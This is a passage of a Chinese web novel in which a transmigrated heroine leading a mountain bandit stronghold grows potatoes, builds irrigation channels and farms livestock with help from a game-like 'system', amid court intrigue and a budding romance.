甄榆明了,让他们好好休息后走出了房间,不料却在门口看到了偷偷跟来的李大郎,刚才的话毫无疑问被他尽数听到,可他不问什么只求跟在后面长长见识,面对这简单的要求,甄榆没有拒绝。
来到西寨的灶房,甄榆找到了藏在拐角杂草堆里被遗弃的土豆,脸上闪现幸喜。
“种子”有了,接下来就要找到合适的土壤。
烛天寨很大,方圆百里只有他们一个山寨,为了省时间,甄榆召来陈酒:“我们有地形图吗?”
陈酒停顿下,才想起来甄榆脑袋受损,诸多事情被遗忘,也就不知烛天寨确确实实有能覆盖一张桌子的地形图。
“张叔说老寨主生前为了管好烛天寨自行用脚丈量绘制出了一张地形图,就藏在他房间床席下,门被锁着,想要进去还得找到张叔拿到钥匙才可。”
陈酒口中的张叔张庆昶与烛天寨的老寨主可谓是至交好友,年少相识,与其他结拜的兄弟共同建立起了烛天寨,在平时辅佐老寨主管理寨中事务,算得上是老寨主的左膀右臂。只是老寨主死后,张庆昶很少询问寨中事务,迁移至大寨偏僻处静养。
甄榆到达居所处,望见张庆昶在与其他叔伯对弈。
竹木窗前帘上显有俩位年长老者影子,其一人姿态慵懒,布满纹路的双指中夹有一颗黑子,低头片刻落子,子落而局成。
“张叔打扰啦。”
轻柔俏皮的女音实时将二位从棋局拉回现实,张庆昶抬起眼皮,看清来人又垂下。
“是你这丫头啊,前几天受的伤可好些了?”
甄榆找到好位置坐下:“嗯,我去后山时还救了一个村民。”
张庆昶重新摆弄棋盘,听见这话,嘴角轻轻笑了下。
“你还真跟你那爹一样,他也爱救人,年少时还扬言要名扬天下,结果到最后都没实现。”
别人对老寨主描述的越多,甄榆心中便越发想要打探是怎么一个人死后传说还在继续,但她知道不是现在。
“是吗?对了,张叔,我爹房间的钥匙你放哪了?我要进去拿个东西。”
张庆昶扬起下巴示意:“里屋床头柜上的小黑盒子里,直接打开就行。”
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甄榆进去一眼看见所说的小盒子,顺利拿到了房门钥匙。
离开之际身后传来张庆昶叫喊:“记得还回来!”
“知道嘞——”
老寨主的房间在大寨三层西北角,空间很大,那层只住着四个人,出门可看寨里情形也可远视远处环境。
每天张庆昶会安排人来打扫,因此即使房间无人居住但还保持着干净整洁,里面的东西从未动过,乍一看似乎有细微这屋子主人生活的气息。
陈酒几乎没有来过,今日跟着甄榆进入房间不由想象起自己义父在世时生活的样子,心中泛起苦涩,脑海开始描绘平常义父教他练剑的面孔,明明不见只是几个月,现在倒像是离别了几十年。
老寨主房间布置简单,除去必备的床与木桌,洗漱所用的木盆,只剩其他一些杂七杂八的东西。
扫视一圈,吸引甄榆目光的是床尾拐角处矗立的长毛枪。
枪身用上等晶石锻造而成,依盘长龙环绕,仔细一瞧那龙身片片金鳞似有生命般,放在阳光下隐隐闪着金银,枪头经过多年时间依旧犀利,弹一指,震半辰,附着鲜艳红毛枪樱,用金丝固定,留有俩端金色丝线。
是一把上等好枪。
甄榆轻抚它感受着枪身的条纹,在记忆里寻到了一点关于这枪的来路。
好像是少时老寨主的旧识赠予他,一传便是四十余年,成为了老寨主最喜爱的武器,人走后枪没了主人,藏住光芒待在黑暗里直到今天。
甄榆翻到羊皮制作的地形图打算离开,只是走时忍不住回头看了一眼那长枪,心里想着等什么时候问下张叔这柄枪能不能给她使使。
西寨相比于东寨要小点,西寨荒土较多导致人数变少,而东寨人口分布杂乱没有规章。
其次,甄榆发现烛天寨分理出粮仓、男女澡堂、练兵场外,其他要分出的比如药堂、病坊等融合成一处共同使用,细化不到位。
既然身为大当家,甄榆有必要在此基础上再规划一下,但现如今要让寨中兄弟们填饱肚子。
甄榆估算了下,按最慢进程周延池应该到了目的地,这样的话解决饥荒指日可待。
看来看去选中了东寨接近后山山洞的一块地,命人翻耕好土地,从头到尾湿润了下土壤,便把切好的土豆依次埋进土里,散上肥料,盖上土壤。
做完所有事,甄榆原想把这件照看土豆情况的事交在陈酒手上但被李大郎要去。
甄榆问他原因。
李大郎灿然一笑:“我想着多学些,回去救他们。”
这话令在场人大惊:“可他们还想着吃掉你。”
李大郎摇摇头:“我是孤儿,吃百家饭长大的,如果没有邻居们的关照,我早去了,纵然他们对我做了那件事,我还是想报答他们。”
甄榆欣然对他点点头:“那就如你所愿,交给你了。”
李大郎弯腰致谢,表示绝对会办好。
回去路上,陈酒显出不明:“姐,你说他是不是傻,他们都想吃了他,不管就行了,为何还想着就他们?”
甄榆挼了一把他的头发:“从小缺爱的人沾到哪怕一点别人施舍的恩情,便会无法自拔,因为太想要了,会忘掉他们对自己的不好。但如果次数一多,以前种种即会消失殆尽。世道如此,能有一颗至善之心实属不易,但他还需要锻炼啊。”
俩人同行走在路上,身后影子延长。
大寨竹木门,布帘后。
天边有了橙光,张庆昶与老朋友的棋局已然结束,他站在床前,眺望远方,手中缓慢摩挲粗制的木盒,不晓在想什么。
5. 第 5 章
一大早,甄榆拿着地形图观摩。
她来到西寨满是荒地的地方,那里没被翻新,黄色土壤上绿色植物稀疏,还有些鸟兽排泄物。因为天气原因,一大片土地出现长短交错的裂纹。
她招呼几位强壮有力的兄弟拿上铁犁和锄头来垦荒地。
“要是有牛马等家禽记得拿来用,这地放着实在浪费。”
之前便是村民,来的人其中必有几人是有家禽的,念在多年感情,他们也不会因为饥荒枉然杀掉。
于是,被叫来的两三人回去牵家牛。
面对甄榆一系列操作,必然存在不解之人。
“大当家,这片地荒废许多年了,能用早用了,实在是种不起什么庄稼啊。”
甄榆伸出食指摇了摇:“种不出不能说明不好用,是没找到合适的植物,走,现在跟我去后山,我带你们寻种子。”
再一次,甄榆带着小弟穿梭在浓翠蔽日的草木间。
在系统帮助下,甄榆很快找到多数适合种植在干旱、缺水环境下的植物种子,但期间寻得最多是食叶草。
以后发展小型养殖场这饲料是必须有。
在寻找间,他们意外遇到山鸡、野兔,比较好运还遇上了野猪。
早年间,甄榆叮嘱他们在后山隐蔽处布置好陷阱,这下正好派上用场。
不负吹灰之力逮住了它们。
回来后,甄榆简单布置围栏,放入方才的战果,觉得万无一失后拿起锄头跟他们一起耕田,其他人见到了不由分说劝她回去。
“大当家,你回去吧,这垦田的活交给我们几个老爷们就行,怎能辛苦你。”
个头最大的那人落话后,其他几人点头附和。
“是啊,这烈日的我们几个有劲还能撑着,要是大当家晒晕了那可咋整,二当家会怪罪我们的。”
“我有事,为什么要怪到你们头上?”
甄榆停下手中活,来了兴致。
较年轻的一人答道:“会说我们看管不周。上次大当家撞到头那次,二当家生气得罚我们去扫茅厕一月。”
“他不是刚上山没几天吗?怎会表现如此熟悉?”
另一人点头:“我们也奇怪呢,别人到一处陌生环境会表现得谨慎小心,但二当家就像是已经来过一段时间对寨里环境一清二楚。”
“哎,大当家,你觉得二当家如何?”
不知何时,甄榆身边冒出个毛头小子。
那小子看着与陈酒同龄,穿着跟他们差不多的衣服,左耳镶颗绳子,绳子末尾吊着虎牙。
最先开口的朝他扔去一颗石子,正中额头:“你小子整天闲逛,大当家的事是你能问的吗?”
林小观轻揉额头嘟囔:“你们都不知道,二当家被很多人惦记呢,要不是大当家先下手,早很多女孩子去追了。”
听了这话,甄榆脑海里浮现初次见到温伍郎的面貌。
那气质,那样貌,确实会被人惦记,不得不说原主眼光真好。
胳膊被人碰到,思绪回笼。
“大当家,你还没回我话呢。”
甄榆看了他一眼,朝天空想了想,用不严肃不敷衍语气答道:“长得确实好看,人也温柔。”
“不是,我是想问那方面,那方面。”
这下甄榆头顶冒出大大的问号,不管林小观怎么比划依旧不理解。
旁边李大虎看不下又朝他投去一子:“你要是真闲,不如帮大当家垦荒。”
较为年轻得也扔去一颗:“他俩又没拜堂你这问的什么话。”
这下,两个人懵了。
很快,甄榆在为数不多的碎片中看到了关于温伍郎初来烛天寨的记忆。
与书中描写一样,温伍郎是甄榆某个小弟捡到的,捡去之后直接成了她名义上的郎夫,没有洞房自然没有圆房,睡觉也是分房睡,过的跟同事似的。
在其他人强迫下,林小观做了个拉拉链的手势。作为刚才行为的赔罪,他夺过甄榆手中工具,将她推出去示意她的部分交给他来完成。
他们这么说,甄榆也不好违了他们意,嘱咐手下煮些甘草水后送去。
路过之前中毒小弟们所待的住所时,甄榆顿了下,直走路线忽然拐了个弯推门而入。
休息的一群人见到大当家点头叫好,甄榆一一回应,快速扫过一圈后没见到那人双眸透出疑惑。
有人看出她心中所想解释二当家去拿药了所以不在,听这话甄榆没了待在这的欲望转身离开,只是出去时面上有过短暂失落。
门口李大郎找到甄榆,语气透露喜悦:“甄姑娘,哦不,应该叫你大当家,之前所种的土豆开始发芽了!”
“那太好了!快带我去瞧瞧。”
来到亩前,望着吐露小小嫩芽的土豆地,甄榆蹲下身查看土壤湿度,起身对李大郎道:“过段时间,叶子再大些就可以育苗了。”
“好,我会好好照看的。”
说完,李大郎离开去取所用工具。
这时,甄榆发觉虽然把土豆地安置在了靠近水源的地方,但一筐一筐去后山接水难免费力费人也不节省时间。
甄榆打量后山到东寨路线过程中还意外发现了寨中所种植的小麦,然因为水源不足整片麦田出现枯黄,不过好在还能抢救。
甄榆又在东寨里里外外走了一遍,回去后摊开纸张,提笔绘画脑中东寨的布局样式。
半个时辰过去,大致样式已经绘出,甄榆擦去额上留下的汗,抬头见窗外悬挂当空的烈阳渐渐往西偏移。
“咚咚——”
敲响的门声拉回甄榆视线,开门,是温伍郎。
“大当家找我是有什么事吗?”
手扶长袖,常握的玉笛此时别在腰间。
想是房中那些人所告知他。
甄榆眨巴着眼睛:“啊,没什么,就经过那里顺便看望其他人,没什么事。”
眼神无法控制下撇,不与温伍郎对视。
总不能说是跟人聊天提到你了,脑中都是你样子下意识想去找你吧。
她可没脸说出口。
甄榆想着要不要请对方离开,余光不经意看见对方抬起胳膊像是要掏出什么东西。
不久,一个小瓶罐遮住了她所有视线。
小瓶子瓶身是香樟木木材制成,精致简易,用草叶藤条装饰圆口,给人有种清新之美。
她接过,打开瓶盖,迎面扑来淡淡药草香,混合着雪竹味。
“闲来无事自制的药膏,可以护身护手,见你手上有伤痕想必你会用得到。”
这么说,甄榆打量起自己双手。
因常年耕田劳作,纤长手指凸起好几个薄茧,皮肤也是浅黄色,看不出半点原来肤色。
相比于以前,确实粗糙许多。
甄榆其实感觉没啥必要,耕种嘛,总是会出现伤口,但她还是收下了,冲眼前人甜甜一笑。
“那就谢谢啦。”
温伍郎笑着离开后,甄榆继续手头上的工作,终于在林小观到来之前完成。
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林小观他们完成速度属实超出了甄榆的意料之中,本来她打算明天继续翻土,这下可以提前赶上日程。
交代完他们所要做的事情之后,甄榆叫来其他几人连同幼童通知寨里所有人到大寨会堂里开会。
竹木房,窗台边。
“‘能来的来,不能来的也不强求,自愿原则’,大当家就是这么说的。”
张庆昶听见这话,心中腾升起兴趣。
他久居房中并不代表不关注寨里的事,这几天也是从老友和其他人口中了解甄榆所作所事。
“也罢,很久没出去了,去看看那丫头又在搞什么鬼。”
大寨会堂。
烛天寨人数较多,好在会堂空间也不小,基本能容纳到来的人数。
甄榆安排林小观在门口迎接来人,将人引到相应位置上,陈酒巡逻周围,保持会堂整体秩序有条不紊,防止有人打架闹事。
而她也在前面布置好东西。
等人差不多了,甄榆将放大版的东寨布局图展示给众人。
“这是我画的关于东寨具体布局,可以看到即使我们有水源提供但将它输送到田里会事倍功半。又是逢上饥荒,想解决这个问题我有个办法。”
甄榆提起毛笔,沾满墨汁。
在源头处表个圈,一路向下画虚线,遇到田地表个星号。
“因为水是高处经过龙脉山流下,那我们就可以在后山另开通渠道,将水沿着挖出的水道引进寨中,当然是要按能经过所有田地最佳路线的水路。”
毛笔有墨的那头从星号往田里延伸:“遇到田地再分出支线,将河变成溪,流进亩各个处。在分支头那还得制造个开关,避免水源过多,泛滥成灾。”
甄榆移动毛笔,来到土路上画上椭圆:“为了不影响过路,经过这些地方得用木管埋在下面衔接水路。”
片刻后,甄榆把自己想法说完,看向台下:“目前就这些措施,如果没有其他疑问,那就按照我说的去做喽?”
不知是谁带头鼓掌,一时间,台下掌声雷动。
陈酒上前抱住她,双眸亮晶晶:“我听不懂,但感觉姐姐好厉害!”
甄榆任由他抱着,竟忘了挣脱。
她下意识寻找温伍郎,硕大会堂里,不起眼的拐角地方一眼锁定对方。
对方察觉视线微笑回应,手掌轻轻拍着,就是看向陈酒的眼神不太友好。
身旁的张庆昶注视前方的甄榆,跟着他们一起鼓掌,眼中满是欣慰:“甄丫头越来越像当年的老寨主了。”
一起跟来的老朋友附和:“可不,做的比老寨主还要好。”
因为无人反对,几乎寨中全部壮汉都投身进挖水延路的计划中。
防止他们中暑,甄榆特意准备了很多甘草水,备了许多金银花草。
经过几天几夜的奋斗,终于搞好了水路,甄榆顺带检查了一番。
工程做的不错,甄榆大方让人宰了几只山鸡和野兔以及被驯服的野猪犒劳犒劳他们。
值得一提的是,这几天除了搞水路,甄榆还弄起了养殖场。
抓的兽禽换到了更大更结实的围栏里,一部分是怕它们逃出去,一部分是防止黑豹偷吃。
自从三天前发现山鸡莫名死了几只,看管它们的人数是越来越多。
就在所有人找不到是谁为之时,月黑风高夜,温伍郎左举灯笼,右提黑豹走了出来,黑豹嘴里还叼着刚咬死的山鸡。
那天夜里,陈酒叫喊响彻整个烛天寨,无人敢求情。
6. 第 6 章
【恭喜宿主等级提升到d,相关权限已解锁。结合宿主这些天的所作所为,换算成名气值,目前已达到30%】
消失已久的系统音响起,甄榆没想到短短几天竟然提升这么多。
怪不得她偶遇陈酒,跳出的属性板原本灰色那栏呈现蓝色,且对她的好感度是百分百,但令甄榆没想到的是他的武力值竟达到了85%以上。
妥妥当兵好苗子。
她去田里也惊喜发现随着等级的提升,田地生长什么情况,有什么问题统统描述到属性板上,一目了然。
这样对症下药效率会大大提高。
甄榆高兴的干活都哼起了小曲儿。
当她正领着寨中兄弟干得起兴,突然接收一条电子信息。
【宿主名气目前总值为35%】
嗯?
甄榆纳闷,今天没干啥啊怎么多出名气值了。
而她也不会知道因为上次与周延池无意间的谈话,使得周延池回去之后向皇帝谏言此政策,只说是路上相逢的一位眼缘之人的建议并未暴露甄榆真实身份。
各位大臣多数赞同,因此政策很快推广,死亡的人口数量得到明显改观。
“大当家,门口有人找你,说是你的朋友。”
蹲在田间劳作的甄榆一听这话摸了摸自己的额头。
也没中暑啊,幻听了?这人烟稀少的地方哪来的朋友?
话是这么说,但甄榆还是出门见了。
大寨门口,周延池脱去昂贵耀眼的袍服,连带跟来的随从一起穿起了平民百姓所身着的布衣。
来的人数不多,约莫十来人。除去领头几个,剩下便是身手了的的护卫。
李别驾虽有不解,不过他一向以主子为重,主子不说他身为下属理应识趣闭嘴。
他们没有等待多久便看到远处不紧不慢走来的甄榆,周延池朝她作揖,礼貌问候:“打扰了。”
甄榆在他口中了解到他完成任务回去复命,尚饥荒没有完全解决,他自荐留在乌州代为任职。如今未找到落脚点,前来拜访甄榆能否在烛天寨留宿一段时间。
甄榆热情,当即点头同意。
“无妨,你们住到何时都可以。”
周延池许诺,会在寨中帮忙来当所花的费用,绝不吃白食。
甄榆没拒绝,正愁上哪找帮手呢,这不现成。
如此,他们顺利居住下来。
有甄榆提前警告,其他人对城中来的官员有异议也只能吞在肚子里。
甄榆将他们安排在李大郎管辖区域,协助李大郎照顾土豆田。
“这就是你口中说的食物?”
望着那二亩里地,周延池问出此次前来的真正目的。
之前听闻有一种食物耐旱喜凉还高产,为了亲眼见到,他特前来烛天寨。
甄榆点头:“你若不信,过段时间瞧瞧保证生产几百公斤。”
这个时候,村民们发现类似于土豆这种高产的粮食还很少,因此京城中人不见此类实属正常。
经过长时间细心栽培,土豆略显嫩头,再过一段时间后,李大郎他们开始收割。
愣是忙了三个时辰才装好,一旁喝着甘草水歇息的周延池是真信了她的话,没休息多久要来纸笔让人传信回京。
甄榆分好装起来的袋子,留三分之二用于粮食存储于仓库中,三分之一用于种子留下次种植,其余则摆弄好以备不时之需。
看他们忙乎,甄榆暂时没让他们去干别的,留在此地好好歇息。
“大当家,我想下山去救我那婶伯们,此次前来是与你告个别。”
三天前,李大郎在甄榆同意之下可自行取走一小袋土豆,现在时机已到,他身体全部恢复,没有留下去的理由。
于是,晌午,他拦住甄榆鞠躬致谢。
“感谢大当家留我养病,救我性命,那天大当家上门拜访我定好好招待。”
甄榆没有强留人的道理:“好,你恢复就好,其他不必多言。”
走到门口,甄榆顺便送了一把锋利的小刀给他护身。
通过属性面板,甄榆清楚看到渐渐远去的李大郎好感度在慢慢上升。
她发现当身边之人的好感度达到某个值时,会按一定比例换算成名气值。
【系统系统。】
甄榆在脑海里焦急唤着系统。
【算今天的话,我攒的名气值够我苟活到前三章吗?】
短暂沉默后,是细微的电流声。
【系统结算中……结算结束,恭喜宿主生命时长为半月俩小时。】
37的进度才换来半月多?
看来自己还得再接再厉。
“大当家,那人走后谁来管理土豆田啊?”
一起跟来的某个人问道。
“这个嘛,已经有适合人选了。”
众人随着甄榆的目光齐刷刷望向后面东张西望的周延池,接受到强烈视线,周延池转头,伸出食指指向自己:“我?”
“ok,既然当事人同意,那就这么定了。”
没给他反对的机会,甄榆一溜烟拽着陈酒跑向西寨种植林木去,徒留周延池保持着姿势回想刚才发生的事。
周延池:我好像没点头同意吧?
可最终他还是接下了如此重任。
五天后,晚,周延池屋中。
门口屋梁上悬挂一小灯笼,屋内燃着一盏油灯,堪堪照亮简陋的小屋。
随着灯火飘动,映在正中间的影子跟着一起时而闪现时而消失。
屋外虫鸣鸟歇,周延池弯腰收拾床铺,没理跳窗进来的人。
“大人,小的不明白您为何在这什么烛天寨中浪费那么多天呢?您不是去找三皇子吗?”
周延池起身,裹紧身上的外袍,拿起木折子点燃快要灭掉的油火。
“来恩啊,去找三皇子的事不急,以现在局势三皇子是最占优势的。”
他关紧门窗,坐回床上。
“你还记得我们第一次上山吗?”
过去时间并不长,李来恩记得那次,他们走时大人还出神了下,像是见到了意想不到的人。
“我那时余光瞥见了一抹身影,虽是昙花一现,但那身影我很清楚。”
周延池看着李来恩的眼睛,一字一顿:“像极了那人。”
“那人不常露面,我只在一次宴会上瞧见过,然他衣着很有特色,不看面貌也可锁定。”
“按大人的意思是您猜测那人可能还活着?”
周延池点头,左右观望没有其他人才继续道:“当年没找到尸体,不说能不能活下来,二皇子的疑心却还是在的,只不过他忙着与别的皇子竞争,此事可能抛掷脑后了。”
“那大人是想.......”
“先下手为强。”
寂静氛围,敲门声格外突兀。
“周大公子睡了吗?”
一时间,两人没动。
周延池一记眼神,来的人迅速跳上房梁,掩盖自己行踪。
开门,是陈酒。
“我阿姐怕你睡不好命令我给你送来驱蚊香,这香是我们自制的,效果极佳。”
周延池笑着收下,点头道谢,看他还没离开,皱眉问道:“三当家还有其他事情吗?”
陈酒憨笑,朝里面偷望的动作被当事人抓包心中升起心虚:“我来的时候听你房中有声音,想着你是不是遇到什么难事了?”
周延池摇头:“多谢三当家关心,并没有什么难事。时候不早了,三当家还是快去歇息吧。”
等他彻底离开,李来恩跳下梁。
“知道这事的人越少越好。”
留下这句,周延池催促来人离开。
黑幕里,没有人瞧见有一人从昏暗小灯房中跳出,蹑手蹑脚来到另一住处
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。
重新关上窗,周延池倒了一碗茶水握在手中。
留在这的几天,他都没有看见那人身影,这就导致他的猜想渐渐渺茫。
周延池决定,五月份还是一无所获的话他便放弃寻找起身去往长古城。
次日白天,出现一人奔向甄榆所在地方禀告。
“大当家,我们几人兄弟出去采购时遇到看着装像是城里的人,此时正在被其他兄弟挟制上山。”
一听这话,甄榆上手拍了他的头:“都说了你们是不一样的山匪,那能胁迫人家吗?你们应该去把人家请上来啊!”
被拍的那人连忙跑远,由凶狠表情立马转变成了柔和,只不过他似乎没有意识到他的长相,满脸胡子连合眼角刀疤,表情看起来比原先还要吓人。
宋诀霖就这么被“请”上了山,周边是拼死保护她的随从,不过各个脸上充满紧张神色。
丫鬟一依手紧紧拽着自家小姐的衣袖,双眸藏着泪水:“小姐咋办啊,好不容易从山贼窝逃出,这下又遇到一个,我们不会交代在这吧?”
宋诀霖轻拍她的手,以示安慰:“不会的,不管如何我们一定会活着出去。”
她原来的队伍按理说会安全护送她到目的地,然而谁都没有想到途中遭遇土匪陷阱,队伍被打散,独有近身武功非凡的几个留在她身边。
他们看到前来一探究竟的甄榆众人,自然而然对方也看到了他们。
根据系统,甄榆分别知道了被胁迫上山等人的身份。
中间维护的那个不看界面也猜得出是他们几人的主子,面料绸缎丝质,面颊粉黛,头插银珠,长相冰清玉洁。
是个美人。
即使深陷困境面上却未表现出半分惧怕。
身边紧张害怕的应是那女子的侍女,侍女对比主子暗色很多,但身上的面料一样不便宜。
其他几人看着就是随从了。
如果不是碰上烛天寨里的人,但凡是其他地方的山贼,他们都不可能活着出去。
甄榆回想书中内容,讶异如今竟发展到了男女主第一次相见的情节。
【系统系统在吗?】
甄榆一边招待她们进入大堂,一边内心疯狂呼叫系统。
【宿主,有何事?】
【我记得原文是男主出去恰巧邂逅路过的女主,女主了解一切后救走男主,怎会是方才情景?】
【宿主稍等,本系统前去探查探查。】
甄榆越想越纳闷,未发觉来的人中还有周延池。
他是听其他人随口一说大致了解详情,为了一窥到底,才一起前去。
未想一进门就先看到了眼熟人。
他和宋诀霖实际上不算熟,但同为世家,因而会萍水相逢,却从未说过话。
现在,他从对方震惊神色中读出此时对方的心情与他一样。
避免宋诀霖遭到伤害,周延池上前一步挡在她面前。
一依认出了保护她小姐的是谁,有些惊喜,拉了拉自家小姐的衣袖:“太好了,是周公子。”
宋诀霖不作声,对面前之人的印象停留在他貌似姓周,是周御史的儿子。
“甄姑娘,此人我认识,是我一位老友,不知可否看在我的面子上放过他们。”
甄榆摆摆手,遣散其他跟来的人,单单留下几个。
“周延池的朋友就是烛天寨的朋友,放心,我们不会伤害他们。”
随后,周延池交代了自己为何出现在此地以及为何认识甄榆等众人。
宋诀霖察觉他们真的没有恶意逐渐放松下来,简单说了下自己原本准备去长古城不料遭到其他山贼劫路后遇刚才那些人的经过。
现在看来他们一时半会走不了,甄榆提议不如就此落住,找到剩下之人再另说。
没有别的办法,宋诀霖只能点头答应。
这晚,烛天寨多出了几盏灯。
7. 第 7 章
宋诀霖适应能力较强,上山的第三天便能和甄榆一起照顾田地。
面对她下田耕土的请求甄榆是拒绝的,城里来的贵女总归是干不了这些活。
可她执拗,不想呆在寨中的几天无所事事。
“甄姑娘,你可别小看我,你们能做的事我同样也能做到。”
为了让这句话有信服性,宋诀霖换了身方便的衣裳,撸起袖子,举着锄头耕完了一亩地。
擦去额上汗水,宋诀霖叉着腰,抬头向甄榆的方向点了点下巴,脸上写着“怎么样,我说到做到”。
甄榆举起大拇指称赞,同意了她的请求,瞧见她这骄傲神色,竖着高马尾的周延池手抵着唇边低低轻笑。
一依哭丧着脸,觉得自家小姐如此贵重的身躯怎么能干那些粗活。
宋诀霖笑笑,抹去她的眼泪,无奈拍拍她的肩膀:“你还是这么爱哭,种地而已,你家小姐能吃苦。”
“那小姐决定去做,奴婢就没有不去的道理。”
如此反复,西寨来耕种的人又多了番新面孔。
倒不是甄榆安排,是那金贵小姐主动恳求的,她没反对成。
听闻宋诀霖在西寨干活,周延池找到甄榆提出自己调到那里。
“你去总得给我个理由吧?”
甄榆环臂于胸,好整以暇盯着站在自己身前蹙眉的周大公子。
调走只是一句话的事,但甄榆瞧着那正派样的周延池,偏偏有了坏心思。
思虑几许,实在想不出措辞,周延池老实应答:“她即为我好友,我理应为她安全考虑,与她同做事,心里才会好受些。”
得亏正主不在现场,要是得知这么一番话不知会如何感想。
林小观来到了东寨,他嗷嗷企图唤起大当家的怜悯,可惜效果不佳还顺便被三当家揍了一顿。
甄榆不解:“东寨的活可比那好干多了,你以前不是抱怨嫌累吗,而今给你轻松的反倒不乐意了?”
林小观摇摇头,露出神秘之色,凑到她面前,低声道:“大当家你不知道,新来的那些女眷可比寨里的好看多了!不得趁这时一饱眼福啊。”
“你这话可就不对了,寨中芳龄十七左右且清秀未婚的女子不少啊,也没见你像现在这样。”
“这不一样。”
甄榆瞧了他许久,久到他起了一身鸡皮疙瘩,内心惴惴不安。
“这么说的话,你是不是到了寻亲年纪了?”
被点到的人一愣,识趣地消失在了甄榆的眼前。
甄榆哼笑。
还拿捏不了你了。
寨里一部分无事的妇人知晓来了个俊俏美人,好奇躲在屋后静静偷看,边瞧边夸。
“得是城里来的,就是不一样,你们看那小手,多白多嫩!”
“确实,还能吃苦,比我家那好吃懒做的娃强多了!”
“可不,旁的人也干着利索,简直看不出是外地的。”
...........
叽叽喳喳,聊得话题的众人也被吸引去。
快速扫视一圈,宋诀霖有点哭笑不得。
烛天寨的人过于热情了点,一点不像山贼虏获人之后指使人干苦力。
种下的种子已经发芽成树,食野草也长满一片,她和她的随从不过打理打理,不用翻土。
赫然,丫鬟惊呼一声,吓得宋诀霖手中的镰刀差点没拿稳,刚想斥责,沿着一依视线望见了朝这边走来的熟悉身影。
周延池?
一看,没有猜错。
少年郎风度翩翩,粗布麻衣丝毫不影响他非凡的气质,皮肤晒着泛黄五官却依旧硬朗俊俏。
惹得不少来窥探的女子双颊染上绯红。
“你在此地也不熟悉,有事可来寻我。”
宋诀霖应声点头,不去看他的眼睛。
话落,不见得他离开。
宋诀霖动作不由受了限制,余光时不时撇向他。
对方仿若未闻,递给她一碗水。
“休息一下吧。”
宋诀霖想了下,顺势接过,小口小口咽下去。
烈日高照,经过一番劳作,宋诀霖脸上汗水直流。
她清楚感受到发丝边的汗滴将要落下,忽地被一只手指抹去,还将散落面前比较碍事的头发别到脑后。
被碰到的地方仿佛残留着温度,一时间,内心狂跳。
她小心抬眼,不料正好撞进眼前之人深邃的眉眼,扑捉到目光,那人嘴角上扬,温柔一笑。
宋诀霖迅速下垂,加速手中的动作来掩盖脸上的慌张。
远处,有一人奔向周延池身边,告知他来了回信。
给皇上的信已送到,现在在他建议下,各地开始宣传种植土豆、番薯等作物,结合疏水灌道,大部分地区开始生产农作物,照此下去,解决饥荒只是时间问题。
看完,信纸变成碎片被周延池扔到火堆里烧成了灰烬。
“还是没有找到那人吗?”
李来恩扶手,语气带着道歉:“是小的没用,辜负了大人的期望。”
周延池摆摆手:“也罢,很有可能是他躲着我们,不想让我们知道。”
“为什么?以大人的人脉,是二皇子都想竞争的。”
周延池摇摇头,叹息一声:“他这人,心思难猜。”
此时,竹木屋内。
张庆昶躺在摇椅上手摇蒲扇小憩,掀起眼皮瞅了一眼旁边悠闲看书的某人,哼哧一声。
“你小子还想在我这待多久?”
翻书声不停,忽而有笔墨在纸上摩擦的声音:“那就看他们什么时候离开了。”
张庆昶剥了一颗果子放进嘴里,咬出声响:“我看你啊,是日子过的太轻松了,真当自己是个小大夫。”
温伍郎瞄了下,笔尖沾了沾墨水:“上了年纪的人要忌酒,张老真是贵人多忘事。”
听出他的言外之意,张庆昶急忙起身护着身后的酒:“好好好,我不说你了,你可别告诉那丫头,这酒我好不容易从王头子那骗来的。”
“当然。”
温伍郎浅浅一笑,起身走进内屋。
没了踪影,张庆昶躺回椅子,继续扔着果子,小声叽咕:“还不能说俩句了……”
【系统回归中……回归正常……】
养殖场内,鸡鸣猪哄,毛羽飞落遍地,甄榆艰难将逃出的小鸡崽扔回圈内,冷不丁受这一吓。
【宿主,因为你的到来,剧情会发生细微的偏差,但不影响整体,所以无需担心。】
回忆原书中,大量笔墨描写男女主在县城与京城之间的生活,别的剧情线一笔带过,除了男女主感情线,甄榆对其余发生了什么一概不知。
不过,原书中好像参杂了一点朝堂政变,最终胜利者是谁.......
甄榆摸了摸后脑勺。
当时她急于看男女主的内容,大部分都草草略过,现在想来真是不应该。
光影斜下,吞咽风响。
她捉了几只野兔送到灶房嘱咐做好后接待宋诀霖她们,也赶巧,养肥的母鸡生了一窝蛋,甄榆掏出三四个做了一大碗鸡蛋羹。
从进去开始,甄榆遭受的视线就没少过。
她环视一圈,基本上人都在,就是那抹青衣影子没看见。
刚准备出去叫人,陈酒拉下她的袖子,走到不碍事的拐角,轻语:“姐夫让我传话说最近几天不用去找他了,他在张叔院子里给他看病,吃住也在那里。”
“张叔生病了?”
“说是张叔胃胀气虚,不是什么大病。”
“好,我清楚了。”
张庆昶作为年老级别的人物,他的要求一般人
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不会拒绝,比如明明一把年纪了,还是爱喝酒。
以前有老寨主管着,现在唯有她的话奏效。
烛天寨的仓库种类繁多却不混乱,每样东西都分门别类好。
寨中汉子们不少,所以酒浆自然也不少,一般他们喝的酒都是自己酿出。
都是平民出身,为了增加收入,多多少少会点技术傍身,十人里总有四五个会酿酒,卖过酒水。
因此,烛天寨要喝酒根本不需要出去购置,数量多,还单独空出一间窝专门存放。
打开大门,走近靠左的房间,是放置酒酿的地方。
还未推开,里面香气四溢的酒香通过门缝刺激着鼻息,味道浓的让甄榆忍不住搓了搓鼻尖。
来回巡视,发现空了很多位置。
甄榆叫来看管的小弟:“这几天有谁来过?”
小弟略思索了下,答道:“有兄弟搬了三四个酒,加上大当家让拿出几壶招待客人,只有张老要了三瓶小的,一壶大的。”
果然如此。
“你记得下次张叔还来不管他要多少,都给他一瓶,就说我吩咐的。”
小弟点点头,内心有些心虚。
张老啊,不是小的故意出卖你的。
晒着太阳闭目歇息的某人猛的打了个喷嚏,望了眼里屋,暗道:“肯定是那小子背后诋毁我.......”
申时,西寨后院。
【恭喜宿主名气值增加4%,目前总值为44%】
对此现状,甄榆已经见怪不怪,反正也不知道在什么时候忽然提升了名气值。
她看向远处干活的俩人,眼前出现属性板。
上面显示宋诀霖的武力值为3,对她的好感度是50,可比周延池高多了。
她瞟了眼身材高大的男主角,脑海里飘过没有她家郎夫好看的想法。
再看一眼,确实。
作为书中男主,颜值那是不用说,但经过长时间的曝晒,就比旁家汉子强胜一点。
ennn,她还是喜欢小白脸。
“过得还适应吗?”
宋诀霖面前多出了一篮野果子,是刚摘的。
她擦了把汗,叫来别人一起:“有甄姑娘的款待,我们过的很好。”
